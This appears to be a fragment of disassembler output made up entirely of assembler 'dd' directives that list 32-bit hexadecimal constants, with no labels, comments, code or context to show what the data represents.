dd 44B935h, 0C55F4584h, 0FFC0DA03h, 9926A300h, 0AAEF04FAh
dd 678D2EFCh, 20B1803Ch, 5BFA30Fh, 4872CD58h, 59FC03D4h
dd 0B88DD550h, 93B443h, 538A312Ah, 3E43048h, 7690A100h
dd 0C532EB34h, 495C0099h, 0B2C8DE0Bh, 173F4A33h, 1D4F80F0h
dd 43844508h, 90AA5959h, 8B5A8200h, 0A17E6B3Ch, 0EDE20612h
dd 44F054C0h, 0DCD800CBh, 0FB23E993h, 0C00A03Eh, 5246603Ah
dd 0DBE0E3h, 246C63BBh, 74EFE94Fh, 7E9CC100h, 0DED32C6h
dd 0FCA20097h, 0CA90E49Fh, 0FD3D9824h, 9401F03Dh, 0BE7D7FBBh
dd 0B02CCB92h, 615D4C00h, 3B06CD15h, 54081E67h, 0A347EC40h
dd 8D99DD95h, 0E030E6D4h, 0F2002A45h, 0F51A7263h, 1BC47D79h
dd 21E10B47h, 48926CC8h, 1D831107h, 240F938h, 30229369h
dd 4694CC15h, 7F006F0Ch, 3EB2C143h, 6059501Ah, 8FA4061h
dd 4614ABF5h, 654F262h, 0FE0CDD66h, 0ABCD0021h, 581F5B7Eh
dd 7C383CFDh, 0D8383B9Dh, 0BD0A0009h, 6608D6ABh, 623A3050h
dd 0CC86E059h, 984851CCh, 0A7D8071Dh, 60C26394h, 317E6621h
dd 5D00D5EEh, 0A830F22Dh, 5362E3h, 977525C2h, 8971B26Ah
dd 2CDD0C00h, 5CC1E478h, 6E4B1D1Bh, 0DE8A470Dh, 19D5B06Fh
dd 38002C25h, 6ACD46BAh, 743FAFA1h, 6FA60080h, 9E86A4FBh
dd 0D100FE6Bh, 9DE42E5Ah, 7AB47B6h, 0AAC7A9E2h, 0CBBC901Dh
dd 0A10719F2h, 0B1FF13C8h, 0F2A825F3h, 142DE01Bh, 9EFA00BDh
dd 0A68ACE3Eh, 2A1F12E9h, 0F60E3F37h, 98B0804Ah, 0DD82414h
dd 0C6390CDh, 44BDE882h, 6F2A1B00h, 6C60B001h, 1579FEB6h
dd 0FCC8C7A5h, 2A037600h, 8D2C0FE2h, 1156E900h, 0A7820D7Dh
dd 6AF400CBh, 0D09DC0E6h, 3F0FCDFBh, 0A33CFF46h, 3BEDB176h
dd 0F2010A10h, 6DD2CFD9h, 395880DAh, 5DF518ECh, 541998A5h
dd 2257D05Eh, 5101CABEh, 5DF36990h, 0DBD4DF72h, 0D8B03D22h
dd 0EC512B38h, 716DF4h, 0B1E0C305h, 0B8573B09h, 44F8D624h
dd 31B78580h, 702ABDFh, 7D5C189h, 0F0339722h, 74F45036h
dd 9730F00h, 44E940Eh, 8A7518h, 838CE0E4h, 0D6C20BA2h
dd 6651FB60h, 0E32D9Dh, 0AAD7AFFAh, 49852090h, 54E0B70Ah
dd 0C5111888h, 0EE462300h, 1E69D47Eh, 74A0507Bh, 0B244128Eh
dd 0C027F6C3h, 136D5A19h, 2F0352D9h, 0BE690B34h, 0A62907B4h
dd 20F9D0BDh, 92F1319h, 4392F003h, 80183241h, 1D5EB3D8h
dd 402AC27Dh, 72859FC8h, 20079E5h, 4D901063h, 32C03C24h
dd 6106207h, 7B0304B5h, 0E013888Fh, 61C7CEh, 0D02CADABh
dd 17623885h, 0DCD58700h, 0F67C7B6Dh, 0CF810C59h, 0A4296EAEh
dd 56FC8341h, 0FB997CD4h, 0CA6C0980h, 0BF6B64B3h, 54619E18h
dd 1D5B8F18h, 0C051D967h, 0B58A95C7h, 0E9F236C3h, 692DBC00h
dd 71B7BAB8h, 0BE010017h, 8EF8FE38h, 0D43F57D1h, 0B42D00DDh
dd 364F454Eh, 0F997640h, 0E48D138Ah, 500B1527h, 342B29C9h
dd 0C646651Dh, 43C9380h, 7F3B2Ah, 754FBB56h, 0C8346739h
dd 4D422F00h, 449E4571h, 0E5AE618h, 0BDD4C095h, 0DD08DB00h
dd 1100CB97h, 431C3F04h, 1F02886Dh, 534034E9h, 215F0017h
dd 0F12E630Bh, 0DDD35602h, 8372D448h, 904B27CCh, 0F3FC1Bh
dd 9EF5B8AFh, 0A7EFB4F6h, 0DBB7F100h, 0C168C274h, 0D8BE0184h
dd 372D3DE1h, 63B0F773h, 6600E69Fh, 4738E82Ch, 0E597CAh
dd 855D55B9h, 75AAF7BFh, 0B5D70F00h, 4C8E11BBh, 0C9F207ACh
dd 0CBE332h, 0A82C2452h, 0BBF64D24h, 0E070BB0Eh, 3D6F5942h
dd 589600A7h, 0F25B9C4Ch, 0EC0115C8h, 0FF95BAE4h, 1020218Bh
dd 75200D3h, 0C3968171h, 0EE00AB53h, 958F77E6h, 0AE6B6Ah
dd 260ACC36h, 112AF7B9h, 0D48C1700h, 0D5F4FF19h, 8D08001Ah
dd 53F929BCh, 0C0004E20h, 0B8618EAh, 0B148497h, 134F17Ah
dd 0B84F3C00h, 48016744h, 0EA814B46h, 0F160E284h, 0E66F3F06h
dd 0D7FDD300h, 18394598h, 365EEA00h, 0A6439133h, 5FB20048h
dd 1B9AB8A0h, 3076C105h, 0CB814000h, 5D473435h, 0E4863878h
dd 89297F89h, 0E6507C00h, 0EA30641Ch, 0EE109DFh, 0E2F40362h
dd 9F76301h, 71AB184Ch, 8E804000h, 437A044Fh, 83160099h
dd 441C7367h, 6400E629h, 3977EE2Fh, 0D53712h, 36A68313h
dd 3576B97Dh, 0FB00F47Ch, 0EAAEB45Dh, 8E4BDCh, 7CAA820Fh
dd 2C98974Ah, 0DED28A0Ch, 0D11E9h, 0D5BD8092h, 5FE8A3F8h
dd 0E01E6E24h, 6DAE0E1Eh, 6C659700h, 28BF5C76h, 7A47055h
dd 0CC66CA31h, 7F3E022h, 3300D1A8h, 6A88B126h, 0F483718Ch
dd 5BB30095h, 0F7F6869Ah, 110022B4h, 1CFBEADAh, 16CF12h
dd 0EF518948h, 87E3AE18h, 1325F001h, 1CF34F32h, 19CD120h
dd 297BE9ADh, 0D0C3A1F1h, 43481718h, 0CDAF3C94h, 0C9C0050h
dd 64B1065Ah, 38D107C6h, 90FFE14Bh, 0BB6FDD2Ah, 162C1F09h
dd 2BA4001Bh, 180B94B6h, 488DCE09h, 0DB7BFCF7h, 1378765Ch
dd 0A807DD04h, 606C5C94h, 0F450161h, 83D5C33Eh, 81ACF4A0h
dd 0FBF95600h, 0FC88AA5Bh, 29183F1Eh, 0BC99DA89h, 2ABD1680h
dd 0EA4CAFF5h, 65B400A4h, 0AD94CCE0h, 11EE84h, 6BCF555Ch
dd 90169EF1h, 45BFC204h, 44C056A7h, 0F6EE350h, 2CCC6381h
dd 0AE20E601h, 0AF69EC47h, 8068453Eh, 4FC68662h, 359DE4Dh
dd 649A9FAAh, 0F8A984F7h, 8E5C34B3h, 0DF58F900h, 0EFE94A6Ah
dd 5B5358EBh, 89249B26h, 3000064Ch, 0C859FEDFh, 0FDC3F3Eh
dd 0C0FB1483h, 38C43ECAh, 0E7C7768h, 0E3818877h, 0E59B6480h
dd 0B61F6575h, 79C06CFAh
dd 0E107C8E8h, 0DF40E105h, 7DD68EEh, 637770D1h, 4B6CE019h
dd 0D400C659h, 7B6A6784h, 1E421581h, 819E5EA3h, 0BF408D34h
dd 0AED1E454h, 63F88600h, 0EBFF57B3h, 4B1903C6h, 0CC4F8714h
dd 0A0A36FA0h, 0D1706200h, 0D08F8EF9h, 66B73071h, 0D3A253CCh
dd 852648E8h, 5C00CC39h, 8AB61069h, 76E209DAh, 0D080C01Ah
dd 0E942B336h, 10CDFE30h, 0B8BB53CBh, 0D68D0239h, 648630F0h
dd 6AE66CC0h, 599AD105h, 0D400BDE1h, 0AF142A4Bh, 68E32D1Dh
dd 8027C340h, 0CF406A00h, 0E1249F9Dh, 0E2E40EEAh, 0A340C057h
dd 89521B13h, 2019BC00h, 0A428385Ah, 3D030BB2h, 0F08ED287h
dd 0D4A0FC0h, 650051EAh, 100108F7h, 0F2189AC7h, 747D7DB8h
dd 0FD33035Dh, 9036855Eh, 0E748A8C8h, 35844000h, 0D40AEEEBh
dd 1F5F84Ah, 0F397FE1h, 6081D204h, 0BD74FF9Dh, 55A85F00h
dd 4A9BC2D0h, 0EFB80041h, 8F13E295h, 1C0EC5D3h, 0A010C0D2h
dd 5BC74C79h, 0CAAE00BDh, 0E3847A80h, 6A2612A7h, 350AD42Fh
dd 470FE8B6h, 0AA92212Ch, 75C9DB53h, 6D424h, 0E3D584BBh
dd 617C9742h, 15007FECh, 6E9840D7h, 0F2AB670h, 3922C230h
dd 0A7963240h, 0E73DBE93h, 972D00F4h, 3BAD3C6h, 267172D8h
dd 58A930h, 0C377E72Fh, 0BC988779h, 84630600h, 8E9B2293h
dd 8B24171Ah, 0ED4C406Fh, 6A0D2056h, 0CDA940Eh, 77CE8442h
dd 0B062080h, 0D0F872h, 0FEB6F9ABh, 0D2DA7941h, 33A03Eh
dd 7A118E40h, 0F010CA4h, 737175EAh, 6AA7A180h, 40A148F3h
dd 3558830Bh, 0E8814326h, 50F2B447h, 0F9711060h, 7F0C689Ch
dd 150C66A8h, 98742CE3h, 47050939h, 0D00C7ABFh, 0DD4C1F90h
dd 0C77C4F17h, 2A8A9447h, 292F27C1h, 5B2570h, 0B7A51562h
dd 30E57E2Eh, 0C55CC700h, 6AA6B280h, 0BA1C00A8h, 0E716FEB5h
dd 0DCE72D19h, 4A00F5DDh, 36116B8Fh, 0EE34E575h, 1FC901DAh
dd 0F9BC883Bh, 12A804Bh, 1CDB9C5Dh, 0AF5B0F30h, 0B920929Bh
dd 0FBFA389Eh, 0A09A7200h, 3EF0066Fh, 4E2B2AC0h, 7F9101BCh
dd 0F2EE9F76h, 280470CFh, 31D32C17h, 201A420Fh, 0B044540Eh
dd 0AA7101D5h, 0AFEFF1B8h, 2CC40B4h, 840E43CFh, 65D19178h
dd 0A44038FFh, 0ADB71BFDh, 0A16100C7h, 189F88A4h, 1F205BDFh
dd 76900023h, 49F2B17Bh, 0BF091B07h, 10F6F56Ah, 18A6D64Ch
dd 405F0F81h, 0A90416E5h, 69B96EFh, 0C1226400h, 2D0077A5h
dd 24A10DB2h, 1FD58E51h, 6C0CA28h, 0E9402CA6h, 6E817300h
dd 0D20CFBD4h, 0D59056h, 0ED099882h, 7FEFA8E9h, 422A2218h
dd 0EEC33D31h, 0A60A2697h, 0D42C01CCh, 0D1C46822h, 0EA3BD871h
dd 492B7418h, 3A08131h, 5648DE96h, 9EFBF56Bh, 0EF1DA906h
dd 29D690h, 0C2A91E5Ah, 0D943F559h, 0AA7B5712h, 0C95BF083h
dd 6EC0FDC3h, 9AA60079h, 0DE7A9CF0h, 81001066h, 6D24DD26h
dd 0F0D8A70Ch, 35210074h, 693EF215h, 0CA0EB3ACh, 80B48CA8h
dd 4408858Eh, 90E70147h, 2AAA7A3Bh, 308988Ah, 0DB7621h
dd 0D74F8647h, 6FBF1E8Bh, 3E131800h, 0D4530AFh, 0FB3031Dh
dd 0A986DCAEh, 0A53E388Eh, 2FBB84CFh, 7DC12EBAh, 0BED12D6Ah
dd 0D9EB218Dh, 0B7C0DA3Ah, 0A01471Bh, 4F2C26AEh, 90218B7Eh
dd 938000D7h, 1CB7A804h, 2C1B27CCh, 1D207AA7h, 14B28549h
dd 428068FEh, 8B93F147h, 680D448Ch, 0E947D900h, 0EA5F149Eh
dd 62A76FDh, 90FCA898h, 350068B4h, 8A1BBF2Dh, 309CA0ABh
dd 3318A534h, 3741BB25h, 3B8FA400h, 1083F773h, 9D52E634h
dd 0F43DB2D9h, 2026D4Eh, 0F2A7CF1Ch, 54ED80EBh, 0E967F4h
dd 8CDFEEE5h, 0C62B07E8h, 3A335B00h, 324782FAh, 3DF40092h
dd 89B5686Dh, 3C00CA1Eh, 0F3600AD3h, 0D90950h, 0D4A95785h
dd 15C83206h, 0E46F2203h, 0FF03FC99h, 0EA2EB6A0h, 34350750h
dd 3320AC8Eh, 0BCD053A6h, 0AD000B2Dh, 0D96B5AF0h, 4C44E869h
dd 47002F3Dh, 2555405Dh, 190087A9h, 3FF14EE6h, 797CFCB6h
dd 6D29008Bh, 28306CDBh, 0EC00CD17h, 5334B26h, 240453D2h
dd 1F3FAC13h, 80F7DD8Bh, 635BE2F6h, 0DC0F86EEh, 8031489Eh
dd 341CCC90h, 3B360012h, 7B2C7858h, 72038FE8h, 117E3C97h
dd 5E201015h, 0AFE43C42h, 620FCE9h, 11E0E71Eh, 2B7B4700h
dd 556F6756h, 57623193h, 80124808h, 28632220h, 7F22FBFh
dd 2021CC58h, 4019E0C7h, 0AD07D259h, 0FEC07EC3h, 71A85816h
dd 0FA4A0084h, 0E55BF73Ch, 91C1D1A2h, 0A558FF3h, 40E7A89Eh
dd 57A53D49h, 400C23D6h, 8526E16h, 0AB21C142h, 0D439A525h
dd 0CC00FB59h, 713E6484h, 3CC6AA09h, 0EE094CD2h, 286D17Ch
dd 0AC48E834h, 98C03C0Fh, 2F915DA6h, 0E50B020Ch, 72AA2DEBh
dd 0AD04E05Dh, 0A9380046h, 0C845FF1h, 6D01CCFFh, 45BD613Ah
dd 0B8CC1D43h, 0FC2EC83h, 97CD7E2Ah, 2F405B00h, 6600164Eh
dd 77BDEB01h, 0C06DB9h, 0E379F9BAh, 0CE7E2DC3h, 34E4800h
dd 6C604A1Ch, 6F1E0DF3h, 1F11067Ch, 0E93BC304h, 621003D0h
dd 0E0AD78Fh, 0E3E0BCE8h, 0CD25A00h, 0E5BD8914h, 209260E6h
dd 26618EC7h, 9E56C800h, 7F84BE40h, 55BD0E33h, 1AE048C9h
dd 3D70A6B8h, 72F50101h, 0B76D9434h, 9239F4h, 93CA48A5h
dd 10C14A77h, 355DAB00h, 0FA578A5Eh, 0C5BD1CB5h, 0B817008Fh
dd 80D051CDh, 122FDC00h, 0E9480EBFh, 703500F2h, 0AF4A501h
dd 1B7B3219h, 368AD800h, 0C11C73CEh, 503F0049h, 0D00BF5BDh
dd 3E01A5DDh, 0E0B44E53h, 0E2FC1146h, 1370703Bh, 38095F1h
dd 0FEAA5BAAh, 5E884A0h, 91DA3100h, 572FDF6Ch, 700F0029h
dd 56277F32h, 500ECB2h, 14E84577h, 28A853B8h, 0F3CDD2h
dd 0D8BFF4B4h, 18E568BDh, 0A5467800h, 0C1016A86h, 58A80029h
dd 4860DBD4h, 40C1E608h, 0B9490B1Eh, 1E3DD1E4h, 3CA6FAA9h
dd 8180A0BEh, 43DB7F71h, 0F303294Eh, 8030147Dh, 0C70FA776h
dd 70D0860Bh, 17DDB80Ah, 0C5BF22h, 49F1A346h, 0F4A063B1h
dd 0C0A9B6A7h, 0EE8AF082h, 0CD749501h, 40585448h, 0BFAC81EFh
dd 2B0C40E2h, 0E9E081h, 37B7F3F9h, 0B4A59D74h, 9018827Eh
dd 3AE8390Ch, 0F69A0035h, 1F5E923Bh, 9033767h, 39D069BEh
dd 8D1B00Eh, 0AC1200C3h, 553F59B0h, 7E00115Dh, 905B0DC1h
dd 0FDF20Ah, 0F6E7AE97h, 5F4BAF5Ch, 1C00A27Dh, 0C65D1AAAh
dd 3E0729h, 9C6C03D8h, 0ED4CD00Eh, 1742B100h, 0D147415h
dd 0DA230056h, 0E877C378h, 84003D61h, 1FBB2D5Dh, 0F21B3D3h
dd 0A1325087h, 6E143300h, 5C4C63ECh, 2B731691h, 892E8100h
dd 0FAD14498h, 0A041FF50h, 5510BE93h, 5D0718B7h, 0DB4DD196h
dd 0A9A3FB90h, 4BF01Eh, 6EB62D59h, 3C205B97h, 0A7006A98h
dd 58318F27h, 0E1672Ah, 29CF0B1Ah, 2C32BAA5h, 6F3D7212h
dd 0F17C446h, 0BFB203D9h, 0B327D6Dh, 4EFB7198h, 0B8722200h
dd 73134FD6h, 477595h, 0E39C05FFh, 92C93EB3h, 4ED4A700h
dd 3AAE5F0Dh, 1EC60002h, 77AADC45h, 8300DAB6h, 21C0065Ah
dd 48790BB0h, 2C01B00Eh, 0D59863CBh, 0FAF08418h, 914F6042h
dd 0AE708203h, 0A0841088h, 7B078BFEh, 773B087Fh, 9C891540h
dd 69A8001Bh, 64678241h, 3E03AE49h, 2C6DF13h, 0A8ADE994h
dd 381A1EDCh, 0E08522FFh, 0C0C0F6DBh, 7B908847h, 9F7C8300h
dd 68C81A7Fh, 221B0093h, 88F14657h, 5E0094FCh, 0C18DFA23h
dd 682CF8h, 135B2E17h, 0CD27810Bh, 3158FF00h, 35A85CB6h
dd 3CAE001Eh, 0CA32DF61h, 0BC720D28h, 1F4C6700h, 0B4FF968Ah
dd 8CA40073h, 37DBF255h
dd 2C2833D6h, 380F9BEBh, 0BC76523Ah, 7A9B600h, 23EF8Dh
dd 0F3C25A7h, 8582ACE1h, 58A6AA0Ah, 0FB05E0D5h, 3810C66h
dd 8C2073F3h, 871A002Ch, 0C74A13D4h, 0B7009FBBh, 0E928B279h
dd 0F66CC15h, 89CD3497h, 0F23151A0h, 63004792h, 0E3E1177Fh
dd 0FAEDEEF1h, 0F4CA50EFh, 0D2D4F9E2h, 0DB70344h, 45AA81CBh
dd 800119D3h, 92F5BC0h, 4680555Ch, 0AAE22D98h, 0B2005D11h
dd 0BBB8D85Eh, 0E48DF5h, 54D0408Bh, 6BD44CDDh, 0A099E70Fh
dd 3B5C0057h, 870C6Eh, 987ABEF6h, 0AF327F73h, 0D71DF301h
dd 0C4586FA8h, 0D24E40DAh, 5EE300CCh, 29F95CA3h, 3B0052ACh
dd 769E55E8h, 2485F0Ah, 95EF5446h, 0F9C0FC66h, 1C162C28h
dd 40403CF1h, 84F253E8h, 0F0F40029h, 89C53FFEh, 6A05E0F1h
dd 6774265Bh, 84DBAC23h, 0E7EB200h, 7A738BADh, 0F77FF91Ch
dd 0B38764C7h, 204F24A7h, 0EF582EABh, 0C56D0040h, 0BE52D738h
dd 200FDB59h, 0C001995Bh, 185131A4h, 0AE3500E7h, 8D7BDA82h
dd 9700B2F4h, 59A32B8Eh, 0D5E507h, 1B28F950h, 0AA4580A1h
dd 33007A73h, 0B46C1943h, 0E194F2h, 1B03BAE8h, 0F9FE4909h
dd 82F75501h, 5C26D169h, 4F6FE8h, 0C64C50A4h, 0F008DA11h
dd 2436EC2Ch, 95538E00h, 2824B5h, 7262CCF5h, 15789444h
dd 49B09700h, 9837B4F1h, 0FABE02EFh, 151D3DDh, 0BCDFE040h
dd 0D2E74801h, 6E5DCACFh, 719330h, 7066ED39h, 502B9765h
dd 0F56AA000h, 62ACCCCFh, 85C30089h, 4393EE5Fh, 9F0FB5C2h
dd 80050BA3h, 2D0629F3h, 0C4F91E03h, 67814F07h, 39509EE0h
dd 1100CD05h, 0A6AF9989h, 0B83B4h, 62FB774Fh, 2C261A71h
dd 8F96B000h, 0CA13C670h, 0B6741C6Dh, 61EF804Ah, 4DDA2AC3h
dd 8C03C190h, 2E588B3Ch, 6A67A86Fh, 3EF49Ah, 14B99B41h
dd 3297A905h, 57C2CD02h, 48D1719Ch, 4CBDC1Ch, 381BB721h
dd 0C5C8C0A1h, 0CEB0EE04h, 48D2930Bh, 7A3600A8h, 448118h
dd 751F8BAAh, 6751E657h, 0EE8FD903h, 0D01AC6A9h, 0B3D7C86h
dd 0BDABE322h, 3A558021h, 6D9474ECh, 861DA307h, 0A241A4F9h
dd 18995A08h, 0F19310FBh, 12A214Bh, 4003E318h, 8C493B24h
dd 813C1900h, 0B5FC858Fh, 2E9F308Ah, 5CFAEC18h, 0AE3BB89Ah
dd 0D11A18F0h, 3EBCCED2h, 0DB00676Ah, 87237079h, 0A0A6D7Bh
dd 1CEBD57Eh, 7047C987h, 0E242D993h, 0D10C83E7h, 793B90A2h
dd 0FA197B8Fh, 73D20BEFh, 8A874AA0h, 39826348h, 0D15222B0h
dd 99444Ch, 0B78F2D72h, 0EDA698h, 695A7E56h, 0D8B5A197h
dd 77124300h, 758699CAh, 9C0A006Eh, 0F2E8EC6Bh, 8AE29855h
dd 72038702h, 60898CF7h, 0CEC965h, 7941DD0Eh, 4677CB91h
dd 0D4BF5528h, 9F005873h, 0B5E8C9E1h, 3FCE2DA3h, 2F8057A6h
dd 94B4F287h, 48E24247h, 19D05100h, 0E98F61CFh, 0E0740001h
dd 237C02A0h, 0B198E753h, 0A4B5DF00h, 9E9A9D61h, 0C99400ADh
dd 0FD997058h, 0E53E1A75h, 27240032h, 0CD5BD009h, 0BDD4A0C8h
dd 197CB13Ch, 0C74D0832h, 0D9A3CCE0h, 0F44A19C3h, 0C00801CBh
dd 50C89478h, 401DEBE4h, 1E20BA03h, 406ED2C1h, 68E345ABh
dd 71EB4B06h, 0A62182E4h, 4867625Bh, 5C030E64h, 290430A3h
dd 0D1A0C75Ch, 4199BDE8h, 0BAC2AA48h, 0A25B1848h, 0DD5321h
dd 886E5820h, 75133AFDh, 16C8AF0Eh, 2FE2C14Dh, 5892A194h
dd 0BB08205Dh, 0D201CF4Fh, 5B728540h, 74C0DC32h, 0DE47ECCAh
dd 61A49890h, 206EDF8h, 3C7562E6h, 887E5040h, 4A092003h
dd 0E982D201h, 6E01D52h, 1E4063CCh, 4C884FFFh, 0E848FCC9h
dd 869CCF55h, 0A3E15D80h, 0A6CC2461h, 81F60129h, 91CA6835h
dd 7803A081h, 20CC2555h, 705F9880h, 0C2F19600h, 0E27AEE0Eh
dd 0DC621406h, 0D4449C45h, 4749445Dh, 26AD2301h, 683711D0h
dd 55E0BCCDh, 0C95810CDh, 2EBD15F5h, 5C72C1F8h, 50410BF8h
dd 2180615Dh, 65B4E4E3h, 0F2009387h, 0EEE85CEDh, 7D952E1Eh
dd 0ECB00518h, 80C36897h, 67DD13B6h, 368CB53h, 0E7F16E69h
dd 9EA1F12h, 5F05C078h, 0AB9E8E73h, 9136FA14h, 0C1A308D8h
dd 0B940327Dh, 9F6AA521h, 1A2860h, 0E18A961Eh, 8B0A1688h
dd 0F08D10Dh, 5841D8EAh, 0C210EFC3h, 200641EBh, 5D22BD2Ch
dd 0C00990D1h, 0A5FF8F21h, 6E3E4354h, 0C510635h, 2189A1E6h
dd 0A21147D9h, 7B508000h, 40BA7F66h, 0AF53A909h, 22901BDEh
dd 1A007B61h, 0ACC77D89h, 0FF7799B2h, 0C3377C20h, 63C0A330h
dd 74EB2924h, 0FA157C83h, 7029655Bh, 0ED8808CBh, 0A9514588h
dd 98BD04D0h, 7C3B4A5Ah, 0ABAD7700h, 0C868A4D8h, 2B837618h
dd 0C06E98F9h, 64CB53h, 45FA7754h, 0D40422F0h, 0F12B6F32h
dd 1B15279Eh, 825F9384h, 8490FEDCh, 4303EFEBh, 220792E1h
dd 0AA610170h, 6DB0FC76h, 0F6B07A61h, 0D5EEE1h, 0A7B39B56h
dd 1949EBCDh, 44CAC824h, 0D104038Ch, 3F957301h, 0BB001588h
dd 87A3D8EAh, 0E4266A82h, 390CE6B6h, 0D76945h, 36CD8670h
dd 0D340AB28h, 95A87303h, 300883D5h, 5FA8B850h, 6A523FBCh
dd 767C2290h, 0F90F00FDh, 660273C6h, 277F1115h, 4E8E4D00h
dd 8672A93Ch, 0FC6348AEh, 309D48Ch, 0B0B180E3h, 0DD0D5586h
dd 2FC83DA1h, 52F40C80h, 74777817h, 0CDBE8B26h, 7C46BB13h
dd 289475Dh, 421B89F8h, 0D08F11D5h, 7C99E0A9h, 5A110B98h
dd 0CA600A1h, 9A38B164h, 12E0FEC8h, 43CA9D55h, 0D11E45B8h
dd 0E0A153h, 40080EBCh, 0C2B7CEh, 0B6345E52h, 0A6ABED73h
dd 0E82A6900h, 0B4A892AAh, 0AB7E4F7h, 0A1C83A48h, 24A86880h
dd 6BE66364h, 704612A4h, 11D55Bh, 926CD9D4h, 823B2794h
dd 4E8FD703h, 11151E73h, 155C54E1h, 0FC87E3Bh, 0C0946BB4h
dd 0F98C4419h, 0C059C2E9h, 0A0A3A703h, 83B05398h, 0E824F118h
dd 5AC39CCBh, 918100D6h, 692DE031h, 5D013F78h, 0BBBEEDA3h
dd 0AC26B998h, 0F6897E3Dh, 4411CB44h, 0A86980AEh, 0CC266984h
dd 19A4FC70h, 0F9468F05h, 881009FBh, 0A4DE3D45h, 0B27044B8h
dd 28002571h, 9BDCB3E0h, 5814858h, 63293927h, 4FD2C5BCh
dd 20B545B4h, 0B4DCEAD8h, 842A1301h, 2EE19461h, 6DD8EF0h
dd 4BE6F66Bh, 3D22412Ch, 357E2019h, 88087258h, 0F2E3805Fh
dd 9D03D9E1h, 0F2B90930h, 0EAC44B5Ah, 0A22924CCh, 213B9234h
dd 0D451B2B0h, 0B803437Ah, 27C342FEh, 0CC1BC044h, 0B440826Eh
dd 6D4088DFh, 899F6F5Bh, 24427360h, 3D00A805h, 0BF6C90E0h
dd 1C412ACh, 1FA3A6D3h, 0C44911F1h, 3CB163A2h, 8050A511h
dd 0C4CB341h, 4D115B5Dh, 65E3F50Eh, 6728224Ah, 0AA24E873h
dd 8AB502E2h, 4E38303Ch, 0B4388864h, 781A8022h, 0C61EF771h
dd 14915Bh, 0A67515ECh, 0B2002FC2h, 22C5805Dh, 699F7F8Fh
dd 0B02299A1h, 5D21492Eh, 5441A2C5h, 51154D23h, 9DC0847Ch
dd 0C51A9322h, 0D67B4100h, 3B44E3B0h, 0F91C0181h, 9EFFBCFCh
dd 45742454h, 28E43753h, 0C05C284Dh, 0C85C4C84h, 0A25E8078h
dd 9ABFFD12h, 0C2AE4516h, 44707008h, 23D1407Ah, 1D137D46h
dd 79AA2F8Dh, 0A2E89004h, 486092B6h, 0C800CCE6h, 0C1DC2E5Eh
dd 0AB5D6251h, 0F5B7E0D0h, 15767849h, 90E726C3h, 8A5B3FC5h
dd 0A1900240h, 40A2FD96h, 91F85D10h, 50D3169Ch, 0B6C71894h
dd 468E03E1h, 904498E4h, 41EAE700h, 0FDEE798Dh, 13C63C77h
dd 99469F06h, 0AE03B935h, 544FEBCCh, 0A37FD994h, 0E0F0A210h
dd 0F42C1DF2h, 0E873D0CBh, 6C37678h, 6527F124h, 265DB090h
dd 90BC8AF8h, 4B5780BBh
dd 0B93AEFE8h, 8430489Fh, 0F58DC8Ah, 9CB4AFE0h, 592153C0h
dd 1F577CA3h, 2D0318F0h, 54FCE11h, 0F9A65B24h, 11F6C19Eh
dd 0DAFC400Ch, 8108E7B4h, 0A5A4F51h, 121C1F45h, 0C00C245Dh
dd 29909FA9h, 5B2C0B00h, 9CDC5CACh, 57D219FCh, 33CFC0EDh
dd 0F95D1598h, 5045CAC8h, 0CC067290h, 0D97139A6h, 818E8500h
dd 0FC5B4146h, 2CA900C5h, 56C249FAh, 6838E831h, 0C75C9D20h
dd 0F3635C6Eh, 4845A4EAh, 8A456A2h, 4947EE68h, 0E0F8AC48h
dd 4C3AADB5h, 0BF0384Eh, 9EC60512h, 0BB51DE29h, 0C0AAE687h
dd 0E3202F80h, 25CDACB5h, 488F9362h, 0C3A6FE9Eh, 164A06Ch
dd 0C726AF25h, 0F3D78685h, 84C0C1F3h, 0C021991h, 0B30D6C9Eh
dd 0F06449h, 0B4BE82C0h, 142F7F8Ah, 3DBDC313h, 0E43B0822h
dd 0E76D01CCh, 3EF0F248h, 86998110h, 0C5C8C136h, 0A1247BD4h
dd 4C2DF574h, 86FAEC0h, 3E4AC471h, 0D38569C0h, 0DE650A63h
dd 384142h, 340F0907h, 0F801EC5Bh, 7940C3C7h, 12104C85h
dd 8A3EBD10h, 25D0A019h, 38236CE8h, 49005A5Dh, 0BE9B2F91h
dd 2C71E26Eh, 67F48CD1h, 2959D6BDh, 0BBA9AA01h, 0C8D1C9DEh
dd 20535C52h, 81DD4DE2h, 13542100h, 0B4E92C28h, 8C5B3CA1h
dd 18126DB8h, 0DC788868h, 5C31E245h, 4451385Dh, 18466B5Fh
dd 5CCC5491h, 0F3B7249Fh, 3C6D00F1h, 0C8C32A53h, 0A88074B1h
dd 1CF6C9A1h, 22E4014Ah, 8D6D6556h, 0BE81CC43h, 4611A26h
dd 115EAAC0h, 0BCF51CA0h, 20A1E5CCh, 7ECB4AF3h, 3BE51A81h
dd 3006E822h, 11819AE0h, 22982954h, 595D4544h, 486D886Dh
dd 202650h, 54AFEF3Eh, 3229B8D7h, 0D4189246h, 0C447CC4Ch
dd 0E088E826h, 0FB908C4Eh, 517ACE03h, 0FBD6CCC9h, 952FB805h
dd 525D8030h, 0C56691C0h, 84FEB3h, 0A6B4B5F2h, 7C9868E3h
dd 65F60D05h, 0C0766380h, 98AC88h, 56AED711h, 2417915Eh
dd 6EA6DD00h, 86D197C3h, 62FE2EF9h, 0A5038C60h, 0C400E8E9h
dd 0AD6E1404h, 0B80E1618h, 688D59B6h, 74C9007Ah, 0F3A2A0E6h
dd 64B9CA50h, 0A6582020h, 0B0007A40h, 2FFA80D1h, 9C75FF93h
dd 543F885Ch, 966C10A5h, 223D0E13h, 7438EB7h, 0ADD0ACB1h
dd 0C3A7BA4h, 0B9A580E6h, 0B7ECB5A8h, 8EF4B8Dh, 28AE63ACh
dd 8244584h, 895EB0C8h, 567C46Fh, 0F8A15A00h, 5B109612h
dd 0E8474DBBh, 62204097h, 3696D335h, 0C96B5D1Ch, 1C421148h
dd 0B1047BAAh, 0C804839Bh, 0FC1E6388h, 0E2802A99h, 1287E338h
dd 2B350C73h, 0C0997EF7h, 884D7B00h, 0A308E4E2h, 123278C3h
dd 4EBC5AACh, 7E2041A4h, 7C3BC5C1h, 9107D4FEh, 6F0373FAh
dd 4E6C254h, 0F6430D00h, 0AFA128AEh, 518DD100h, 1183F2EFh
dd 58D3096Ch, 40101915h, 0FE01E3AAh, 3DED0C1Eh, 5192A365h
dd 0EE182832h, 775E9C07h, 6BE08AFDh, 0F0E27C1h, 4581DEC4h
dd 3F097362h, 1840A224h, 690F3B8Eh, 5A002775h, 0BAF08F78h
dd 0C936E147h, 20914B58h, 0C0C0127Eh, 0E0E369C4h, 0B9641348h
